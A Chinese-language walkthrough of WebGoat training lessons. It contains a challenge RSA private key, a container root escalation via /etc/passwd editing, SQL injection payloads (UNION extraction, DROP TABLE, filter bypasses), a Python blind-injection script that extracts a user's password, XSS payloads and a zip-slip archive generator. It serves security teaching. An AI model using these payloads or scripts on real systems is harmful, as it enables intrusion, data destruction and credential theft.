MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCNCadaSKs63GQ1klmWsxk+CIENe+LtaJeyxZAgN6y29XqRm8cbnR9BV7Qvd0sd/ySv8FHSnCCvVw6RdvOquzu2VS4+zNVkmmFHGo+omCVmHype/AqY/HDhfWFUrbl+5B9y/mDd3UMxpMMivRIe7KMjrB8S39YTDUzn6kUwfMKfQrCoOe5J1Bm7uv1W7uTp50q2Pw0JbvWC024aW4DdWx4RKLQsDlqS/ydJ0yZjeFfpdvtfz3KpWjBzbLUTSbfn+4I4GF1DJMUAmTRw64T1w1w/t3eiNOguXzAjN/5Ub+8lIGDRgRoMRUafDNfLX94lKa9q6Qcr+5+faqHEWDUMrHQvAgEFAoIBADhqQvDp3heLW0ig8KKuChjQM57+WsVdCXq1bNmv3q+VZDo+T6SlP7O8rnli6tjMdRMs7YdxpqyJOQb8YXd+F+KIeOXriI6kJuk90xA828Jy3b+YBD0xxsCYjVUSSjLBpi3/WfJYgUcOtHRLoNkrdHSrP6EmVaE4hSmQ6HnLgQyAeoMntGKI9ZYYVl3HWnhph/eCSTHZ13a2I9b3XQunhBLEhCU4VRnpr8/KONL4FBkPiPqD2PHYtbVqifTkZREorZ1EAbqmAwA0WjMck2cz3MQErYgwiXpOYwh/A7V3LIiWGm5D28Wohj2siJNMjA4RqZyCpSBTP6pqXxotnCDBff0CgYEA1FYvxm//AhoxE5dTAxr6zaFxcledFr2ribleJTPgQzMZJ8JLxkhwzIau+OnwmormheJY79NtIstcBRYJnKFGFPGOOfOOPSwtEYIOx/mvrxUOvVSei+p74b6YVkH9VigqQRNIYdy9m95gtaka2k89kmp6b83sb4/cPD/gRY35h6sCgYEAqgom5ON+sapNEdUpf6HkqSoH47UxRBxgiseS8wxYEK8kQgy1v4nGIzuqn2obix/pnwss5HlPR2KGVxkFHpvPuz1gHvz3gFPpQW8VTHoSBUCdCHkdBJIfVs9iHszIqad+3aqPEsFiWyZ8zLIFpbK/9Pkn+o0/EOWEd8MF6SzPMY0CgYEAqd6Mnr//NOHA3HkPNa8vCueN9RLkEjFWB8d+hCmANcJ6hjUJa20nCgVYxyGNSG8e0YHgv9xXTwkWangHsIEE3Y4LYY+k/bzw2s5yOZSMjBDYl3blPLuWTjITeDTKq1NVANw55+PK4xhNXiDiSD9kdSH7jKS9JgywMDMZ0T5hOVUCgYBEBA+OwWXgqoU6VUPMpyhDqmmOSHobPo0ET9RhOCM536gaa3vmNxwOF93ZXaSeDMPZN6uOluyC9DW8cGhypLl+GIzZMfyZuyoaLG7rZAc1TQuc/T7OoNlV7I2l64N3D8xYqp+hGidXqP64RzV1erMuyg/90hk59Wgv55v23rlHBQKBgF2dGbAAW5tnvW5dGd0+3qFw/ZWqwbW6O2UNoX67eo1iI3SOm8Sti3Xc91RvLx5fuGdHgg3uKiNJ1U/YRYhEqnSCX/sS3tPlnKCghseVY2BxH/gDVB7S2823qCvXubisJxjya3adFBx5OG0Kg4hBmPjYABPcU1z4iPvUfHd36vDB
-----END PRIVATE KEY-----

解题步骤:根据 hints 步骤提示解题,推荐本题在 Linux 环境下(Windows 下可以使用 WSL) 解题,兼容性较好。

将题目提供的私钥保存到文件 private.key

powershell 复制代码
echo "-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCNCadaSKs63GQ1klmWsxk+CIENe+LtaJeyxZAgN6y29XqRm8cbnR9BV7Qvd0sd/ySv8FHSnCCvVw6RdvOquzu2VS4+zNVkmmFHGo+omCVmHype/AqY/HDhfWFUrbl+5B9y/mDd3UMxpMMivRIe7KMjrB8S39YTDUzn6kUwfMKfQrCoOe5J1Bm7uv1W7uTp50q2Pw0JbvWC024aW4DdWx4RKLQsDlqS/ydJ0yZjeFfpdvtfz3KpWjBzbLUTSbfn+4I4GF1DJMUAmTRw64T1w1w/t3eiNOguXzAjN/5Ub+8lIGDRgRoMRUafDNfLX94lKa9q6Qcr+5+faqHEWDUMrHQvAgEFAoIBADhqQvDp3heLW0ig8KKuChjQM57+WsVdCXq1bNmv3q+VZDo+T6SlP7O8rnli6tjMdRMs7YdxpqyJOQb8YXd+F+KIeOXriI6kJuk90xA828Jy3b+YBD0xxsCYjVUSSjLBpi3/WfJYgUcOtHRLoNkrdHSrP6EmVaE4hSmQ6HnLgQyAeoMntGKI9ZYYVl3HWnhph/eCSTHZ13a2I9b3XQunhBLEhCU4VRnpr8/KONL4FBkPiPqD2PHYtbVqifTkZREorZ1EAbqmAwA0WjMck2cz3MQErYgwiXpOYwh/A7V3LIiWGm5D28Wohj2siJNMjA4RqZyCpSBTP6pqXxotnCDBff0CgYEA1FYvxm//AhoxE5dTAxr6zaFxcledFr2ribleJTPgQzMZJ8JLxkhwzIau+OnwmormheJY79NtIstcBRYJnKFGFPGOOfOOPSwtEYIOx/mvrxUOvVSei+p74b6YVkH9VigqQRNIYdy9m95gtaka2k89kmp6b83sb4/cPD/gRY35h6sCgYEAqgom5ON+sapNEdUpf6HkqSoH47UxRBxgiseS8wxYEK8kQgy1v4nGIzuqn2obix/pnwss5HlPR2KGVxkFHpvPuz1gHvz3gFPpQW8VTHoSBUCdCHkdBJIfVs9iHszIqad+3aqPEsFiWyZ8zLIFpbK/9Pkn+o0/EOWEd8MF6SzPMY0CgYEAqd6Mnr//NOHA3HkPNa8vCueN9RLkEjFWB8d+hCmANcJ6hjUJa20nCgVYxyGNSG8e0YHgv9xXTwkWangHsIEE3Y4LYY+k/bzw2s5yOZSMjBDYl3blPLuWTjITeDTKq1NVANw55+PK4xhNXiDiSD9kdSH7jKS9JgywMDMZ0T5hOVUCgYBEBA+OwWXgqoU6VUPMpyhDqmmOSHobPo0ET9RhOCM536gaa3vmNxwOF93ZXaSeDMPZN6uOluyC9DW8cGhypLl+GIzZMfyZuyoaLG7rZAc1TQuc/T7OoNlV7I2l64N3D8xYqp+hGidXqP64RzV1erMuyg/90hk59Wgv55v23rlHBQKBgF2dGbAAW5tnvW5dGd0+3qFw/ZWqwbW6O2UNoX67eo1iI3SOm8Sti3Xc91RvLx5fuGdHgg3uKiNJ1U/YRYhEqnSCX/sS3tPlnKCghseVY2BxH/gDVB7S2823qCvXubisJxjya3adFBx5OG0Kg4hBmPjYABPcU1z4iPvUfHd36vDB
-----END PRIVATE KEY-----" > private.key

使用 openssl 从私钥中获取公钥的模数

根据提示:公钥的"模数"与私钥相同,所以这里可以直接使用私钥生成模数。

shell 复制代码
openssl rsa -in private.key -modulus

输出内容:Modulus=writing RSA key之间的是模数,第一个空的答案。

powershell 复制代码
Modulus=8D09A75A48AB3ADC6435925996B3193E08810D7BE2ED6897B2C5902037ACB6F57A919BC71B9D1F4157B42F774B1DFF24AFF051D29C20AF570E9176F3AABB3BB6552E3ECCD5649A61471A8FA89825661F2A5EFC0A98FC70E17D6154ADB97EE41F72FE60DDDD4331A4C322BD121EECA323AC1F12DFD6130D4CE7EA45307CC29F42B0A839EE49D419BBBAFD56EEE4E9E74AB63F0D096EF582D36E1A5B80DD5B1E1128B42C0E5A92FF2749D326637857E976FB5FCF72A95A30736CB51349B7E7FB8238185D4324C500993470EB84F5C35C3FB777A234E82E5F302337FE546FEF252060D1811A0C45469F0CD7CB5FDE2529AF6AE9072BFB9F9F6AA1C458350CAC742F
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCNCadaSKs63GQ1
klmWsxk+CIENe+LtaJeyxZAgN6y29XqRm8cbnR9BV7Qvd0sd/ySv8FHSnCCvVw6R
dvOquzu2VS4+zNVkmmFHGo+omCVmHype/AqY/HDhfWFUrbl+5B9y/mDd3UMxpMMi
vRIe7KMjrB8S39YTDUzn6kUwfMKfQrCoOe5J1Bm7uv1W7uTp50q2Pw0JbvWC024a
W4DdWx4RKLQsDlqS/ydJ0yZjeFfpdvtfz3KpWjBzbLUTSbfn+4I4GF1DJMUAmTRw
64T1w1w/t3eiNOguXzAjN/5Ub+8lIGDRgRoMRUafDNfLX94lKa9q6Qcr+5+faqHE
WDUMrHQvAgEFAoIBADhqQvDp3heLW0ig8KKuChjQM57+WsVdCXq1bNmv3q+VZDo+
T6SlP7O8rnli6tjMdRMs7YdxpqyJOQb8YXd+F+KIeOXriI6kJuk90xA828Jy3b+Y
BD0xxsCYjVUSSjLBpi3/WfJYgUcOtHRLoNkrdHSrP6EmVaE4hSmQ6HnLgQyAeoMn
tGKI9ZYYVl3HWnhph/eCSTHZ13a2I9b3XQunhBLEhCU4VRnpr8/KONL4FBkPiPqD
2PHYtbVqifTkZREorZ1EAbqmAwA0WjMck2cz3MQErYgwiXpOYwh/A7V3LIiWGm5D
28Wohj2siJNMjA4RqZyCpSBTP6pqXxotnCDBff0CgYEA1FYvxm//AhoxE5dTAxr6
zaFxcledFr2ribleJTPgQzMZJ8JLxkhwzIau+OnwmormheJY79NtIstcBRYJnKFG
FPGOOfOOPSwtEYIOx/mvrxUOvVSei+p74b6YVkH9VigqQRNIYdy9m95gtaka2k89
kmp6b83sb4/cPD/gRY35h6sCgYEAqgom5ON+sapNEdUpf6HkqSoH47UxRBxgiseS
8wxYEK8kQgy1v4nGIzuqn2obix/pnwss5HlPR2KGVxkFHpvPuz1gHvz3gFPpQW8V
THoSBUCdCHkdBJIfVs9iHszIqad+3aqPEsFiWyZ8zLIFpbK/9Pkn+o0/EOWEd8MF
6SzPMY0CgYEAqd6Mnr//NOHA3HkPNa8vCueN9RLkEjFWB8d+hCmANcJ6hjUJa20n
CgVYxyGNSG8e0YHgv9xXTwkWangHsIEE3Y4LYY+k/bzw2s5yOZSMjBDYl3blPLuW
TjITeDTKq1NVANw55+PK4xhNXiDiSD9kdSH7jKS9JgywMDMZ0T5hOVUCgYBEBA+O
wWXgqoU6VUPMpyhDqmmOSHobPo0ET9RhOCM536gaa3vmNxwOF93ZXaSeDMPZN6uO
luyC9DW8cGhypLl+GIzZMfyZuyoaLG7rZAc1TQuc/T7OoNlV7I2l64N3D8xYqp+h
GidXqP64RzV1erMuyg/90hk59Wgv55v23rlHBQKBgF2dGbAAW5tnvW5dGd0+3qFw
/ZWqwbW6O2UNoX67eo1iI3SOm8Sti3Xc91RvLx5fuGdHgg3uKiNJ1U/YRYhEqnSC
X/sS3tPlnKCghseVY2BxH/gDVB7S2823qCvXubisJxjya3adFBx5OG0Kg4hBmPjY
ABPcU1z4iPvUfHd36vDB
-----END PRIVATE KEY-----

获取模的签名(-n 表示输出内容不换行)

powershell 复制代码
echo -n "8D09A75A48AB3ADC6435925996B3193E08810D7BE2ED6897B2C5902037ACB6F57A919BC71B9D1F4157B42F774B1DFF24AFF051D29C20AF570E9176F3AABB3BB6552E3ECCD5649A61471A8FA89825661F2A5EFC0A98FC70E17D6154ADB97EE41F72FE60DDDD4331A4C322BD121EECA323AC1F12DFD6130D4CE7EA45307CC29F42B0A839EE49D419BBBAFD56EEE4E9E74AB63F0D096EF582D36E1A5B80DD5B1E1128B42C0E5A92FF2749D326637857E976FB5FCF72A95A30736CB51349B7E7FB8238185D4324C500993470EB84F5C35C3FB777A234E82E5F302337FE546FEF252060D1811A0C45469F0CD7CB5FDE2529AF6AE9072BFB9F9F6AA1C458350CAC742F" | openssl dgst -sign private.key -sha256 | base64

输出内容:第二个空的答案:

powershell 复制代码
iBWRJLUG0U8hq3XBlufs+wdvWabamTwtf9SZf/kgvZ+s49EH8t05CwlNawaYeOSjsCSyVIrz76aP
hx43O6g5eLIpfkiI92dcXiDDUBLHio6mgxXhooZixGRouXLuIO8emwUiFxUzsg7VKAqMtz56fzkG
MiEn+Qv302Iu5OfKoh9fyysSGYbCTAyFQK4YNJpRcVlpWfh1CgbHkpN2n2JReCZB3twM9Bn6tFtQ
KzEFUDHMYEI3MOgTBGLgxaAectZGQemM3J1syJAdRuZPqPYH4R1KEv730YyIyvTOoulk0BWsOmnb
HO8KBuxdkNl9lpbIfBqZROQxgR94W7E70SkPvQ==

第 8 页

目标:使用外部密钥,通过登录正在运行的容器 (docker exec ...) 并访问位于 /root 中的密码文件来解密消息。然后在容器内使用 openssl 命令在 docker 镜像中找到密钥。

解题步骤:本题需要使用 Docker 容器,因此建议使用 Linux 环境,这里略过 Docker 环境的安装。

启动目标环境:这里可能需要网络比较好才能拉取镜像,我是用了魔法。

powershell 复制代码
docker run -d webgoat/assignments:findthesecret

查询容器 ID(CONTAINER ID)

powershell 复制代码
docker ps

获取密码信息

powershell 复制代码
docker cp 2452de018d4b:/etc/passwd	password

修改 webgoat 的 UID 和 GID 为 0:0,0:0 表示root权限。

powershell 复制代码
vi password

复制该文件到 docker 容器中:

powershell 复制代码
docker cp password 2452de018d4b:/etc/passwd

接下来进入容器操作:

powershell 复制代码
# 进入容器
docker exec -it 2452de018d4b /bin/bash

# 检查root目录下的文件内容(操作记录)
cd /root
ls
# 发现 default_secret

cat default_secret
# 输出 ThisIsMySecretPassw0rdF0rY0u

# 根据题目给的命令
echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile default_secret
# 输出 Leaving passwords in docker images is not so secure

# 答案
Leaving passwords in docker images is not so secure
default_secret

(A3) Injection

SQL Injection (intro)

第 2 页

检索出员工 Bob Franco 的部门,注意使用单引号。

sql 复制代码
Select department from employees Where first_name='Bob' And last_name='Franco'

第 3 页

将 Tobi Barnett 的部门更改为"Sales"。

sql 复制代码
update employees set department='Sales' where first_name='Tobi' And last_name='Barnett'

第 4 页

将列phone (varchar(20))添加到表employees来修改模式。

sql 复制代码
ALTER TABLE employees ADD phone varchar(20)

第 5 页

将表 grant_rights 权限授予用户 unauthorized_user。

sql 复制代码
grant select on grant_rights to unauthorized_user

第 9 页

从用户表中检索所有用户,String 类型注入。

sql 复制代码
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

第 10 页

数值类型注入。

第 11 页

越权查询

sql 复制代码
# 1
# 3SL99A' or '1'='1

第 12 页

sql 复制代码
# Smith
# 3SL99A' update employees set SALARY=85000 where LAST_NAME='Smith

第 13 页

删除记录表。

sql 复制代码
';drop table access_log;--

SQL Injection (advanced)

第 3 页

bash 复制代码
# 第一个空
' union select userid, user_name, password, cookie, '5', '6', 7 from user_system_data;--
# 第二个空
passW0rD

第 5 页

尝试注册 tom 的账号:

bash 复制代码
# 抓包注册请求 /WebGoat/SqlInjectionAdvanced/register ,修改参数 username_reg,猜测密码字段名
tom' or password='1
# 响应:User {0} already exists please try to register with a different username.
# 说明password是正确字段名

# 猜测密码长度
tom' and length(password)>0 --
# 输出:User {0} already exists please try to register with a different username.
# 说明password字段长大于0
# ...

tom' and length(password)>23 --
# 输出:User tom' and length(password)>23 -- created, please proceed to the login page.
# 说明password字段长等于23

# 猜测密码位数的值
tom' and substr(password,1,1)='a
# 输出:User tom' and substr(password,1,1)='a created, please proceed to the login page.
# ...

tom' and substr(password,1,1)='t
# 输出:User {0} already exists please try to register with a different username.
# 说明第一位密码是t
# ...
密码:thisisasecretfortomonly

知道了原理,可以使用 python 推测密码:请求的参数请自行替换。

python 复制代码
import requests
import string
import time

# 配置信息
URL = "http://127.0.0.1:8001/WebGoat/SqlInjectionAdvanced/register"  # 替换为实际的注册接口URL
USERNAME = "tom"
CHARSET = string.ascii_lowercase + string.digits  # 可能的字符集,去掉特殊字符以提高效率
cookie = {"JSESSIONID": "DC5EE7BB69DCB7E89DC93B1BCC760B68"}

# 检查响应的函数
def check_response(response_text):
    """检查响应是否表示密码匹配"""
    return "already exists please try to register with a different username" in response_text


# 获取密码长度
def get_password_length():
    """通过注入获取密码长度"""
    length = 0
    while True:
        # 构造测试payload
        payload = f"{USERNAME}' and length(password)>{length}--"

        # 发送请求
        data = {
            "username_reg": payload,
            "password_reg": "1",
            "email_reg": "1%40163.com",
            "confirm_password_reg": 1
        }
        response = requests.put(URL, data=data, cookies=cookie)

        # 检查响应
        if not check_response(response.text):
            break

        length += 1
        time.sleep(0.1)

    print(f"密码长度为: {length}")
    return length


# 猜测单个字符
def guess_character(position):
    """通过逐个尝试猜测密码中指定位置的字符"""
    for char in CHARSET:
        # 构造测试payload
        payload = f"{USERNAME}' and substr(password,{position},1)='{char}"

        # 发送请求
        data = {
            "username_reg": payload,
            "password_reg": "1",
            "email_reg": "1%40163.com",
            "confirm_password_reg": 1
        }
        response = requests.put(URL, data=data, cookies=cookie)

        # 检查响应
        if check_response(response.text):
            print(f"第 {position} 位字符是: {char}")
            return char

        time.sleep(0.1)

    return None


# 主函数
def main():
    print(f"开始获取用户 {USERNAME} 的密码...")

    # 获取密码长度
    password_length = get_password_length()

    # 逐个猜测密码字符
    password = ""
    for i in range(1, password_length + 1):
        print(f"正在猜测第 {i} 位字符...")
        char = guess_character(i)

        if char:
            password += char
            print(f"当前密码: {password}")
        else:
            print(f"无法确定第 {i} 位字符")
            password += "?"

    print(f"\n用户 {USERNAME} 的密码获取完成: {password}")


if __name__ == "__main__":
    main()

执行脚本,输出结果:

输入密码,通过。

第 6 页

选择题:4 3 2 3 4

SQL Injection (mitigation)

第 5 页

完成代码,使其不再容易受到 SQL 注入的影响!

java 复制代码
getConnection
PreparedStatement ps
prepareStatement
?
?
ps.setString(1, username)
ps.setString(2, usermail)

第 6 页

代码要求:

  • 连接到数据库
  • 对不受 SQL 注入攻击的数据库执行查询
  • 查询需要至少包含一个字符串参数
java 复制代码
String userName = "peter";
try {
    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
    ps.setString(1, userName);
    ResultSet results = ps.executeQuery();
    System.out.println(results.next());
} catch (Exception e) {
    System.out.println("Oops, Something went wrong!");
}

第 9 页

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java

该接口接收userid_sql_only_input_validation参数,首先检查该参数是否包含空格,如果包含空格则返回失败结果。若不包含空格,则调用SqlInjectionLesson6a类的injectableQuery方法执行查询操作。

java 复制代码
@PostMapping("/SqlOnlyInputValidation/attack")
@ResponseBody
public AttackResult attack(@RequestParam("userid_sql_only_input_validation") String userId) {
if (userId.contains(" ")) {
  return failed(this).feedback("SqlOnlyInputValidation-failed").build();
}
AttackResult attackResult = lesson6a.injectableQuery(userId);
return new AttackResult(
    attackResult.isLessonCompleted(),
    attackResult.getFeedback(),
    attackResult.getFeedbackArgs(),
    attackResult.getOutput(),
    attackResult.getOutputArgs(),
    getClass().getSimpleName(),
    true);
}

绕过空格:使用多行注释

powershell 复制代码
# 2条语句均可绕过
'/**/union/**/select/**/userid,user_name,password,cookie,'5','6',7/**/from/**/user_system_data;--';select/**/*/**/from/**/user_system_data;--

调用代码中的接口可以成功过关:

但是当前题目的接口是 SqlInjectionMitigations/attack,源码中并没有该接口的逻辑,接口输入参数后接口均返回 404,因此本题暂时无解。

第 10 页

代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java

  • 将输入转为大写后移除SELECTFROM关键字,试图阻止简单的 SQL 注入语句(如SELECT * FROM ...
  • 禁止输入包含空格,进一步限制注入语句的构造(但这种防护并不彻底,可被绕过)
java 复制代码
@PostMapping("/SqlOnlyInputValidationOnKeywords/attack")
@ResponseBody
public AttackResult attack(
  @RequestParam("userid_sql_only_input_validation_on_keywords") String userId) {
userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", "");
if (userId.contains(" ")) {
  return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build();
}
AttackResult attackResult = lesson6a.injectableQuery(userId);
return new AttackResult(
    attackResult.isLessonCompleted(),
    attackResult.getFeedback(),
    attackResult.getFeedbackArgs(),
    attackResult.getOutput(),
    attackResult.getOutputArgs(),
    getClass().getSimpleName(),
    true);
}

使用双写绕过空格和关键字 from 和 select 的过滤。

sql 复制代码
';seselectlect/**/*/**/frfromom/**/user_system_data;--

调用接口,可以通过。

但还是有前面一页的问题,当前题目的接口是 SqlInjectionMitigations/attack,源码中并没有该接口的逻辑,接口输入参数后接口均返回 404,因此本题暂时无解。

第 12 页

尝试通过 ORDER BY 字段执行 SQL 注入。尝试找到 webgoat-prd 服务器的 IP 地址,猜测完整的 IP 地址可能需要很长时间,所以我们给了最后一部分:xxx.130.219.202

抓包排序请求,猜测 order by 字段为 hostname 和 ip 。

本题使用格式 column=(CASE+WHEN(TRUE)+THEN+ip+ELSE+hostname+END) 注入,注意 GET 请求使用 + 号。

题目目标要找到 webgoat-prd 服务的 ip ,构造 WHEN 中的表达式:

powershell 复制代码
substring((SELECT+ip+FROM+servername+WHERE+hostname='webgoat-prd'),1,1)='1'

报错发现正确的表名 servers 。

截取 ip 第1位,观察响应结果的排序,正确的就按照 ip 排序,否则按照 hostname 排序。

powershell 复制代码
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='1')+THEN+ip+ELSE+hostname+END)

结果符合按照 ip 排序,否则按照 hostname 排序,说明 IP 的第一位确实是 1。

第 2 位 IP 盲注

powershell 复制代码
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),2,1)='1')+THEN+ip+ELSE+hostname+END)

说明第 2 位 IP 不是 1。

每位只可能 0 到 9,依次请求发现 0 是第二位:IP 是升序排列。

同理,第三位 IP 是 4。

后续的 IP 题目已给出,因此最后结果是:104.130.219.202

Cross Site Scripting

第 2 页

按照要求在控制台输入alert(document.cookie);


第 7 页

反射型 XSS,按题目要求使用 alert()console.log() 方法。

在第一个文本区域输入:<script>alert(1)</script>

第 10 页

题目要求从路由配置中寻找基于 DOM 的 XSS 漏洞,基于代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java

本题输入的路径满足下列要求:

java 复制代码
@PostMapping("/CrossSiteScripting/attack6a")
  @ResponseBody
  public AttackResult completed(@RequestParam String DOMTestRoute) {

    if (DOMTestRoute.matches("start\\.mvc#test(\\/|)")) {
      // return )
      return success(this).feedback("xss-reflected-6a-success").build();
    } else {
      return failed(this).feedback("xss-reflected-6a-failure").build();
    }
  }

输入答案:start.mvc#test

第 11 页

按照第 10 页题目要求,查看隐藏的 JS 源码

powershell 复制代码
http://127.0.0.1:8001/WebGoat/js/goatApp/view/GoatRouter.js

发现接口

javascript 复制代码
webgoat.customjs.phoneHome = function (e) {
    console.log('phoneHome invoked');
    webgoat.customjs.jquery.ajax({
        method: "POST",
        url: "CrossSiteScripting/phone-home-xss",
        data: {param1: 42, param2: 24},
        headers: {
            "webgoat-requested-by": "dom-xss-vuln"
        },
        contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
        success: function (data) {
            //devs leave stuff like this in all the time
            console.log('phone home said '  + JSON.stringify(data));
        }
    });
}

按这个接口要求在 BurpSuite 中构造该请求:

输入响应的随机数字:

第 12 页

选择题:43124

Cross Site Scripting (stored)

第 3 页

输入:控制台输入函数的返回结果webgoat.customjs.phoneHome()

Cross Site Scripting (mitigation)

第 5 页

尝试通过转义 JSP 文件中的 URL 参数来防止 XSS:根据第 4 页的提示,使用OWASP_Java_Encoder_Project 三方库。

jsp 复制代码
<%@ taglib uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<html>
<head>
    <title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
    <h1>Using POST Method to Read Form Data</h1>
    <table>
        <tbody>
            <tr>
                <td><b>First Name:</b></td>
                <td>${e:forHtml(param.first_name)}</td>
            </tr>
            <tr>
                <td><b>Last Name:</b></td>
                <td>${e:forHtml(param.last_name)}</td>
            </tr>
        </tbody>
    </table>
</body>
</html>

第 6 页

通过在 saveNewComment() 函数中创建一个干净的字符串来防止 XSS。在此示例中使用"antisamy-slashdot.xml"作为策略文件:

java 复制代码
import org.owasp.validator.html.*;
import MyCommentDAO;

public class AntiSamyController {
    public void saveNewComment(int threadID, int userID, String newComment){
        Policy policy = Policy.getInstance("antisamy-slashdot.xml");
        AntiSamy antiSamy = new AntiSamy();
        CleanResults cleanResults = antiSamy.scan(newComment, policy);
        MyCommentDAO.addComment(threadID, userID, cleanResults.getCleanHTML());
    }
}

Path traversal

第 2 页

在此章节中,需要将文件上传到非常规位置。

正常上传位置如下:

发现路径最后是参数 Full Name 的值,抓包修改该参数:../test..\test后通过。

文件被上传到用户目录外:

第 3 页

过滤了 ../ 的输入,需要重新尝试绕过,使用..\即可。

第 4 页

本题通过另一处参数 filename 注入:

第 5 页

路径遍历不仅限于文件上传;检索文件时,可以通过路径遍历从系统中检索其他文件。在此章节中,尝试查找名为 path-traversal-secret.jpg 的文件

观察获取图片的响应中包含路径参数:

目标文件在最外层:

尝试注入,返回响应是非法字符:

../../进行 URL 编码为%2E%2E%2F%2E%2E%2F,响应内容要求使用 SHA-512 加密你的用户名作为答案。

使用任意在线加密网站,如:https://www.jyshare.com/crypto/sha512/

输入加密内容后通过:

第 7 页

题目要求上传 zip 格式压缩包,覆盖用户文件,这里用 Java 代码生成恶意压缩包(Windows 版本)

java 复制代码
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class test {
    public static void main(String[] args) throws Exception {
        String username = "yjysss"; // 替换为登录用户名
        String entryPath = "../../../../../../Users/{电脑用户名}/.webgoat-xxx/PathTraversal/"
                + username + "/" + username + ".jpg";

        try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("evil.zip"))) {
            ZipEntry entry = new ZipEntry(entryPath); // 关键:条目路径包含../遍历
            zos.putNextEntry(entry);
            // 写入新内容(与原头像不同即可,例如简单字符串)
            zos.write("new_avatar_content".getBytes(StandardCharsets.UTF_8));
            zos.closeEntry();
        }
    }
}

上传后会在 webgoat 数据路径下生成一个解压后的图片格式文件:


(A5) Security Misconfiguration

Cross-Site Request Forgeries

第 3 页

题目需要创建一个本地页面指向此表单的页面,这里可以抓包修改HOST模拟另一个页面的请求,响应中的 flag 值是需要的答案。

第 4 页

本题同样使用上一章的方法,修改 Host 模拟跨站请求伪造。

第 7 页

查看源码,需要满足 2 点:

  • Referer 不包含 Host 的值
  • ContentType 是 MediaType.TEXT_PLAIN_VALUE 即 text/plain
java 复制代码
@PostMapping(
    value = "/csrf/feedback/message",
    produces = {
        "application/json"
    })
@ResponseBody
public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {
    try {
        objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);
        objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);
        objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);
        objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);
        objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);
        objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);
        objectMapper.readValue(feedback.getBytes(), Map.class);
    } catch (IOException e) {
        return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();
    }
    boolean correctCSRF =
        requestContainsWebGoatCookie(request.getCookies()) &&
        request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);
    correctCSRF &= hostOrRefererDifferentHost(request);
    if (correctCSRF) {
        String flag = UUID.randomUUID().toString();
        userSessionData.setValue("csrf-feedback", flag);
        return success(this).feedback("csrf-feedback-success").feedbackArgs(flag).build();
    }
    return failed(this).build();
}

...

private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
    String referer = request.getHeader("Referer");
    String host = request.getHeader("Host");
    if (referer != null) {
        return !referer.contains(host);
    } else {
        return true;
    }
}

private boolean requestContainsWebGoatCookie(Cookie[] cookies) {
    if (cookies != null) {
        for (Cookie c: cookies) {
            if (c.getName().equals("JSESSIONID")) {
                return true;
            }
        }
    }
    return false;
}

修改请求后通过

第 8 页

本题中,保持打开当前页面,然后在另一个页面卡中根据自己的用户名(前缀为 csrf-)创建用户。我的用户名是 yjysss,则必须创建一个名为 csrf-yjysss 的新用户,在另一个页面中登录后,点击 Solve 即可通过。

XXE

第 4 页

XML 格式的 XXE 注入,查看源码:核心检查函数checkSolution,当前在 Windows 环境下,因此需要包含DEFAULT_WINDOWS_DIRECTORIES中的内容。

java 复制代码
public class SimpleXXE implements AssignmentEndpoint {

    private static final String[] DEFAULT_LINUX_DIRECTORIES = {
        "usr",
        "etc",
        "var"
    };
    private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {
        "Windows",
        "Program Files (x86)",
        "Program Files",
        "pagefile.sys"
    };

    private final CommentsCache comments;

    public SimpleXXE(CommentsCache comments) {
        this.comments = comments;
    }

    @PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
    @ResponseBody
    public AttackResult createNewComment(
        @RequestBody String commentStr, @CurrentUser WebGoatUser user) {
        String error = "";
        try {
            var comment = comments.parseXml(commentStr, false);
            comments.addComment(comment, user, false);
            if (checkSolution(comment)) {
                return success(this).build();
            }
        } catch (Exception e) {
            error = ExceptionUtils.getStackTrace(e);
        }
        return failed(this).output(error).build();
    }

    private boolean checkSolution(Comment comment) {
        String[] directoriesToCheck =
            OS.isFamilyMac() || OS.isFamilyUnix() ?
            DEFAULT_LINUX_DIRECTORIES :
            DEFAULT_WINDOWS_DIRECTORIES;
        boolean success = false;
        for (String directory: directoriesToCheck) {
